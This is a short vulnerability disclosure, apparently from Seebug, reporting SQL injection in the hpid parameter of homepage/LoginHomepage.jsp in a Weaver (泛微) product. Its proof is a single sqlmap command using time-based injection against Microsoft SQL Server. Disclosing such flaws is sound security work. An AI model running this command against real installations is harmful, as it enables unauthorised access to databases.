<p>1、缺陷文件</p><pre class="">homepage/LoginHomepage.jsp
</pre><p>2、注入参数:hpid</p><p>3、涉及厂商:泛微软件<br></p><p>4、证明:</p><pre class="">sqlmap.py -u "http://localhost/homepage/LoginHomepage.jsp?hpid=52" --technique T --dbms "Microsoft SQL Server"</pre><p><img data-image-size="677,650" src="https://images.seebug.org/contribute/acec3633-4653-4ad8-947f-2daa18f23180-1.jpg" alt="1.jpg"><br></p>
暂无评论